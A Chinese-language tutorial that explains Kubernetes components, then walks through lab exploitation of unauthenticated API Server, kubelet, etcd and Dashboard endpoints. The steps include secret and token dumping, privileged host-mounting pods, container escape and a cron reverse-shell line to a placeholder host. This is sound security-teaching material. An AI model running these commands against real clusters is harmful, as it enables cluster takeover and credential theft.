一、k8s介绍
全称是 kubernetes,是谷歌在2014年推出的一种开源容器编排系统,后来捐赠给了云原生计算基金会(CNCF)。因将k后面的8个字母进行缩写后,被广泛简称为K8s。随着容器技术的发展,面临着容器数量庞大、难以管理的问题,K8s的推出很好的解决了这一问题,并且在容器编排系统中占据领先地位。
Kubernetes 的名字来源于希腊语,意为“舵手”或“领航员”,寓意着它在容器编排领域如同舵手一般,引领着容器化应用的运行(docker的logo是一个运输船)。
Master 节点:
Master节点是 Kubernetes 集群的控制节点,每个 Kubernetes 集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件,是 Kubernetes 集群的“大脑”。Master节点可以运行在集群中的任意一个节点上,但是最好将Master节点作为一个独立节点,不在该节点上创建容器,因为如果该节点出现问题导致宕机或不可用,整个集群的管理就会失效。
在Master节点上,通常会运行以下服务:
- API Server(kube-apiserver)
提供 HTTP Rest 接口,处理所有资源的增、删、改、查等操作,是集群控制的入口。 - etcd
分布式的键值存储系统,用于保存集群的配置数据和状态信息。 - Scheduler(kube-scheduler)
调度器,负责将新创建的 Pod 调度到合适的工作节点上运行,基于资源需求、约束条件等进行调度。 - Controller Manager(kube-controller-manager)
控制和管理器,运行多个控制器进程,如节点控制器、复制控制器等,确保集群状态符合期望状态。
Node 节点:
Node节点是Kubernetes集群的工作节点,每个集群中至少需要一台Node节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上,也可以运行在虚拟机中。
在Node节点上,通常会运行以下服务:
- kubelet
运行在每一个 Node 节点上的客户端,负责Pod对应的容器创建,启动和停止等任务,同时和Master节点进行通信,实现集群管理的基本功能。 - kube-proxy
实现 Kubernetes 服务(Service)的网络代理,负责负载均衡和网络通信。 - container runtime
负责运行和管理容器,常见的容器运行时有 Docker、containerd 等。
Pod:
是 Kubernetes 中最小的部署和调度单元。一个 Pod 可以包含一个或多个紧密相关的容器,这些容器共享网络(同一 IP 地址)和存储资源。Pod 设计为临时的,若其中的容器异常退出,Kubernetes 可以通过控制器自动重建它们。
一句话总结:
- Master:管事的(决策者)
- Node:干活的(执行者)
- Pod:干活的工具包(运行单元)
二、组件接口存在的风险
k8s 中的大多数组件以 HTTP 和 HTTPS 的 API 形式提供服务,常见端口如下:
组件 | 默认端口 | 说明 |
---|---|---|
API Server | 6443 | 基于 HTTP 的安全端口 |
API Server | 8080 | 不安全的 HTTP 端口 |
Kubelet | 10248 | 检查健康状态的端口 |
Kubelet | 10250 | 面向 API Server 提供服务的 HTTPS 端口 |
Kubelet | 10255 | 提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权 |
Dashboard | 8001 | 提供 HTTP 服务的端口 |
etcd | 2379 | 客户端与服务端之间通信的端口 |
etcd | 2380 | 不同服务端之间通信的端口 |
API Server 未授权访问
默认情况下,Kubernetes API Server 在两个端口提供服务:8080 和 6443
8080: insecure-port #以 HTTP 提供服务,无认证和授权机制,
6443: secure-port #以 HTTPS 提供服务,支持认证和授权服务。
如果配置不当,8080 和 6443端口都会存在未授权访问漏洞,只要网络可达,攻击者就能够通过这两个端口操控集群。
8080端口未授权访问
在较新版本的 Kubernetes 中,8080 端口的 HTTP 服务默认不启动,需要我们手动开启。
vim /etc/kubernetes/manifests/kube-apiserver.yaml
这里设置为0表示关闭,甚至在高版本的k8s中,直接将--insecure-port
这个配置删除了,需要手动添加。
这里将修改为8080,并添加配置
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet
访问 8080 端口即可看到存在未授权。
通过 kubectl -s 命令,查看node节点信息以及pod信息
kubectl -s ip:8080 get node
kubectl -s ip:8080:8080 get pod
执行命令
kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash
在高版本的k8s中,这种方法是不行的,连不上去
获取 service-account-token
/api/v1/namespaces/kube-system/secrets/
建立特权 Pod,进行逃逸:
本地创建 test.yaml 文件,内容如下:
apiVersion: v1
kind: Pod
metadata:name: nginx-deployment
spec:containers:- image: nginx:1.8name: containervolumeMounts:- mountPath: /mntname: testvolumes:- name: testhostPath:path: /
kubect -s https://your-ip:6443/ apply -f test.yaml
创建完成后,进入特权容器bash,然后就是利用挂载的目录写入定时任务,或者 chroot 逃逸了。
chroot /mnt
6443端口未授权访问
如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。
正常情况下,直接访问 6443 端口会返回 403
执行以下命令将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
再次访问
获取所有Pod列表
/api/v1/namespaces/default/pods
获取token
/api/v1/namespaces/kube-system/secrets/
创建特权容器
POST /api/v1/namespaces/default/pods HTTP/1.1
Host: x.x.x.x:6443
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176{"apiVersion": "v1","kind": "Pod","metadata": {"annotations": {"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name": "sectest","namespace": "default"},"spec": {"containers": [{"image": "nginx:1.14.2","name": "test-4444","volumeMounts": [{"mountPath": "/host","name": "host"}]}],"volumes": [{"hostPath": {"path": "/","type": "Directory"},"name": "host"}]}
}
可以看到Pod创建成功:
使用 kubectl 查看所有Pod:
kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 get pods --all-namespaces
用户名和密码随意输入
查看所有Pod状态:
kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 describe pod --all-namespaces
获取bash:
kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 --namespace=default exec -it sectest -- bash
可以通过 chroot 到宿主机shell,或者通过写入定时任务,反弹宿主机shell了。
kubelet API 未授权访问
10250未授权访问
端口 10250 是 Kubernetes 集群中 Kubelet 的默认端口。Kubelet 是 Kubernetes 集群中每个Node 节点上运行的主要“节点代理”,负责Pod对应的容器创建,启动和停止等任务,同时和 Master 节点进行通信,实现集群管理的基本功能。
Kubelet 的配置文件是 /var/lib/kubelet/config.yaml
。一般来说,我们在安装 Kubernetes 时会将 --anonymous-auth
设置为 false
,并在 authorization 中选择 mode 为 Webhook
。前一选项禁止匿名用户访问,后一选项则使 Kubelet 通过 API Server 进行授权(即使匿名用户能够访间,也几乎不具备任何权限)。
但是,一旦 --anonymous-auth
被设置为 true
,且 authorization.mode
被设置为 AlwaysAllow
这就非常危险了。
正常访问,10250端口提示未认证
修改配置后重启
此界面有时会泄露一些账户密码等敏感信息。
执行命令:
格式
curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"
这里需要三个参数
namespace:对应metadata.namespace
pod:对应metadata.name
container:对应spec.containers.0.name
通过https://IP:10250/runningpods/
获取三个参数:
10255未授权访问
kubelet 的只读端口,配置不当也会存在未授权的访问,允许恶意用户或应用程序查看节点上的一些敏感信息,如 Pod 日志和配置。尽管只读端口比完全的 kubelet API 服务器更受限制,但仍可能导致信息泄漏问题。
默认情况下 k8s 集群不对外开放10255端口,修改 /var/lib/kubelet/config.yaml
,新增如下内容,在最后一行加就行:
readOnlyPort: 10255
address: 0.0.0.0
重启 kubelet 服务后就能访问了。
获取pods信息
同样此界面有时会泄露一些账户密码等敏感信息。
10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。
Etcd 未授权
etcd 默认端口 2379,用于存储 k8s 集群中的所有配置数据和状态信息,如果管理员配置不当,导致 etcd 未授权访问的情况,那么攻击者就可以从 etcd 中获取 secrets&token 等关键信息,进而通过 kubectl 创建恶意 pod 从而接管集群。
在 etcd 的配置文件 /etc/kubernetes/manifests/etcd.yaml 中,--client-cert-auth
默认为 true,这意味着访问 etcd 服务需要携带 cert 进行认证(本地 127.0.0.1 可免认证访问)。
如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。
PS:安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问。
Etcd常见风险包括:
- 启动etcd时,未使用client-cert-auth参数打开证书校验;
- Etcd 2379端口公网暴露;
- 由于SSRF漏洞导致Etcd 127.0.0.1:2379 可访问;
- Etcd cert泄露。
将client-cert-auth=true
改为false
,把listen-client-urls
监听修改为0.0.0.0
,将端口被暴露出去,导致etcd存在未授权访问漏洞。
vi /etc/kubernetes/manifests/etcd.yaml- --client-cert-auth=false- --listen-client-urls=http://0.0.0.0:2379
查看是否存在未授权访问:
https://your-ip:2379/version
-------------
返回如下则存在未授权访问:
{etcdserver: "3.4.3", etcdcluster: "3.4.0"}
https://your-ip:2379/v2/keys
-------------
返回如下则存在未授权访问:
{"action":"get","node":{"dir":true,"nodes":...}}
攻击过程:
1、下载 etcdctl 工具,以便通过命令行与 etcd 通信。
2、用 etcdctl 3.0 的 API,设置环境变量:
export ETCDCTL_API=3
3、通过命令行连接到目标 etcd 服务,列出存储的数据:
#读取etcd中存储的数据,通过--limit选项限制数量
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --limit=2
#获取k8s的secrets和token
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --keys-only |grep secrets
#找到对应的 key 后,再读取对应的值,以/registry/secrets/test/bypass-token-p6xpj为例:
./etcdctl --endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj
获取高权限服务账号token
最终的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分。可以使用 curl 验证 token 的有效性:
curl --header "Authorization: Token" -X GET https://your-ip:6443/api -k
通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“[.token.]” -n kube-system get pods
接下来就可以创建一个恶意 Pod
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ \--token="[your-token]" -n kube-system run malicious-pod \--image=your-malicious-image \--restart=Never \--overrides='{"apiVersion": "v1","spec": {"containers": [{"name": "malicious","image": "your-malicious-image","securityContext": {"privileged": true},"volumeMounts": [{"name": "host","mountPath": "/host"}]}],"hostNetwork": true,"volumes": [{"name": "host","hostPath": {"path": "/","type": "Directory"}}]}}'
说明:
--insecure-skip-tls-verify:跳过 TLS 校验(在实验环境中可能使用)。
--token="[your-token]":用前面获取到的 token 替换 [your-token]。
-n kube-system:在 kube-system 命名空间中运行,通常该命名空间权限较高。
securityContext 的 privileged: true 允许容器拥有更多宿主机权限。
通过 volumeMounts 和 volumes,将宿主机的根目录挂载到容器内,从而可能访问宿主机上的敏感文件或配置。
进入 Pod
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[your-token]" -n kube-system exec -it malicious-pod -- /bin/sh
然后就可以利用挂载的宿主机文件系统,通过计划任务反弹宿主机shell。
Dashboard 未授权访问
k8s 的 Dashboard 是以基于网页的 k8s 用户界面,用户可获得运行在集群中应用的概览信息,并且图形化操纵 k8s 资源。Dashboard默认不安装,并且手动安装后只能通过执行了 kubectl proxy 的机器进行访问,但是当使用的 Dashboard 配置不当,或者部署低版本的 Dashboard 时选择了”跳过”选项,可能会导致一些未授权访问漏洞,此外,通过K8s API,或者集群的单点登录等方式访问 Dashboard。
通过6443端口进行访问:
https://IP:6443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/#/workloads?namespace=default
创建一个特权Pod,并且挂载宿主机根路径到/sechost下
配置文件:
apiVersion: v1
kind: Pod
metadata:name: sectest1
spec:containers:- name: hostpath-containerimage: nginx:1.14.1volumeMounts:- name: hostpath-volumemountPath: /sechostvolumes:- name: hostpath-volumehostPath:path: /
选择创建的Pod,点击执行
通过计划任务获得宿主机shell
chroot sechost
echo 'bash -i >& /dev/tcp/x.x.x.x/2333 0>&1' > /etc/cron.hourly/test.sh
chmod +x /etc/cron.hourly/test.sh
或者直接进入特权容器,特权容器可以挂载宿主机磁盘路径到容器中。
fdisk -l
mkdir /sechost
mount /dev/dm-0 /sechost/
chroot /sechost/
参考文章:
https://www.cnblogs.com/xiaozi/p/17939752
https://zone.huoxian.cn/d/1153-k8s
https://www.sumor.top/2023/06/15/K8s%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF/index.html
https://www.geekby.site/2021/11/k8s%E5%AE%89%E5%85%A8/#21-api-server-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE